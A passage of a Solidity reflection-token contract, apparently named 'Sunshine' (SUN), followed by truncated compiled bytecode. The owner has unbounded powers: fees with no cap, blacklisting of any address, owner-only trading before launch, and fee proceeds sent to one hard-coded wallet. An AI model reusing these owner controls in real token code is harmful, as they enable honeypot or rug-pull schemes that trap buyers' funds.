mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 6; //Sell Fee uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 6; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x7EDe28264a751A87121AcC39b631Cf868c72b95a); address payable private _marketingAddress = payable(0x7EDe28264a751A87121AcC39b631Cf868c72b95a); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 500000 * 10**9; uint256 public _maxWalletSize = 10000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f2f565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613378565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e9b565b610859565b6040516102599190613342565b60405180910390f35b34801561026e57600080fd5b50610277610877565b604051610284919061335d565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af919061355a565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e4c565b6108ac565b6040516102ec9190613342565b60405180910390f35b34801561030157600080fd5b5061030a610985565b604051610317919061355a565b60405180910390f35b34801561032c57600080fd5b5061033561098b565b60405161034291906135cf565b60405180910390f35b34801561035757600080fd5b50610360610994565b60405161036d9190613327565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dbe565b6109ba565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f70565b610aaa565b005b3480156103d457600080fd5b506103dd610b5c565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dbe565b610c2d565b604051610413919061355a565b60405180910390f35b34801561042857600080fd5b50610431610c7e565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f99565b610dd1565b005b34801561046857600080fd5b50610471610e70565b60405161047e919061355a565b60405180910390f35b34801561049357600080fd5b5061049c610e76565b6040516104a99190613327565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f70565b610e9f565b005b3480156104e757600080fd5b506104f0610f51565b6040516104fd919061355a565b60405180910390f35b34801561051257600080fd5b5061051b610f57565b6040516105289190613378565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f99565b610f94565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fc2565b611033565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e9b565b6110ea565b6040516105b79190613342565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dbe565b611108565b6040516105f49190613342565b60405180910390f35b34801561060957600080fd5b50610612611128565b005b34801561062057600080fd5b5061063b60048036038101906106369190612ed7565b611201565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e10565b611361565b604051610671919061355a565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f99565b6113e8565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dbe565b611487565b005b6106d4611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134ba565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081090613894565b915050610764565b5050565b60606040518060400160405280600881526020017f53756e7368696e65000000000000000000000000000000000000000000000000815250905090565b600061086d610866611649565b8484611651565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000662386f26fc10000905090565b60006108b984848461181c565b61097a846108c5611649565b61097585604051806060016040528060288152602001613da160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092b611649565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a19092919063ffffffff16565b611651565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906134ba565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b36906134ba565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9d611649565b73ffffffffffffffffffffffffffffffffffffffff161480610c135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfb611649565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1c57600080fd5b6000479050610c2a81612105565b50565b6000610c77600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612200565b9050919050565b610c86611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dd9611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d906134ba565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea7611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b906134ba565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600381526020017f53554e0000000000000000000000000000000000000000000000000000000000815250905090565b610f9c611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906134ba565b60405180910390fd5b8060188190555050565b61103b611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf906134ba565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110fe6110f7611649565b848461181c565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611169611649565b73ffffffffffffffffffffffffffffffffffffffff1614806111df5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c7611649565b73ffffffffffffffffffffffffffffffffffffffff16145b6111e857600080fd5b60006111f330610c2d565b90506111fe8161226e565b50565b611209611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906134ba565b60405180910390fd5b60005b8383905081101561135b5781600560008686858181106112e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f79190612dbe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061135390613894565b915050611299565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f0611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611474906134ba565b60405180910390fd5b8060178190555050565b61148f611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611513906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115839061341a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b89061353a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611731576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117289061343a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180f919061355a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611883906134fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f39061339a565b60405180910390fd5b6000811161193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906134da565b60405180910390fd5b611947610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b55750611985610e76565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da057601560149054906101000a900460ff16611a44576119d6610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3a906133ba565b60405180910390fd5b5b601654811115611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a80906133fa565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b639061345a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c195760175481611bce84610c2d565b611bd89190613690565b10611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f9061351a565b60405180910390fd5b5b6000611c2430610c2d565b9050600060185482101590506016548210611c3f5760165491505b808015611c57575060158054906101000a900460ff16155b8015611cb15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc95750601560169054906101000a900460ff165b8015611d1f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d755750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9d57611d838261226e565b60004790506000811115611d9b57611d9a47612105565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e475750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efa5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ef95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f08576000905061208f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120765750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561208e57600a54600c81905550600b54600d819055505b5b61209b84848484612566565b50505050565b60008383111582906120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e09190613378565b60405180910390fd5b50600083856120f89190613771565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215560028461259390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612180573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d160028461259390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fc573d6000803e3d6000fd5b5050565b6000600654821115612247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223e906133da565b60405180910390fd5b60006122516125dd565b9050612266818461259390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122f95781602001602082028036833780820191505090505b5090503081600081518110612337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123d957600080fd5b505afa1580156123ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124119190612de7565b8160018151811061244b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611651565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612516959493929190613575565b600060405180830381600087803b15801561253057600080fd5b505af1158015612544573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061257457612573612608565b5b61257f84848461264b565b8061258d5761258c612816565b5b50505050565b60006125d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282a565b905092915050565b60008060006125ea61288d565b91509150612601818361259390919063ffffffff16565b9250505090565b6000600c5414801561261c57506000600d54145b1561262657612649565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265d876128e9565b9550955095509550955095506126bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279c816129f9565b6127a68483612ab6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612803919061355a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128689190613378565b60405180910390fd5b506000838561288091906136e6565b9050809150509392505050565b600080600060065490506000662386f26fc1000090506128bf662386f26fc1000060065461259390919063ffffffff16565b8210156128dc57600654662386f26fc100009350935050506128e5565b81819350935050505b9091565b60008060008060008060008060006129068a600c54600d54612af0565b92509250925060006129166125dd565b905060008060006129298e878787612b86565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a1565b905092915050565b60008082846129aa9190613690565b9050838110156129ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e69061347a565b60405180910390fd5b8091505092915050565b6000612a036125dd565b90506000612a1a8284612c0f90919063ffffffff16565b9050612a6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612acb8260065461295190919063ffffffff16565b600681905550612ae68160075461299b90919063ffffffff16565b6007819055505050565b600080600080612b1c6064612b0e888a612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b466064612b38888b612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b6f82612b61858c61295190919063ffffffff16565b61295190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b9f8589612c0f90919063ffffffff16565b90506000612bb68689612c0f90919063ffffffff16565b90506000612bcd8789612c0f90919063ffffffff16565b90506000612bf682612be8858761295190919063ffffffff16565b61295190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c225760009050612c84565b60008284612c309190613717565b9050828482612c3f91906136e6565b14612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c769061349a565b60405180910390fd5b809150505b92915050565b6000612c9d612c988461360f565b6135ea565b90508083825260208201905082856020860282011115612cbc57600080fd5b60005b85811015612cec5781612cd28882612cf6565b8452602084019350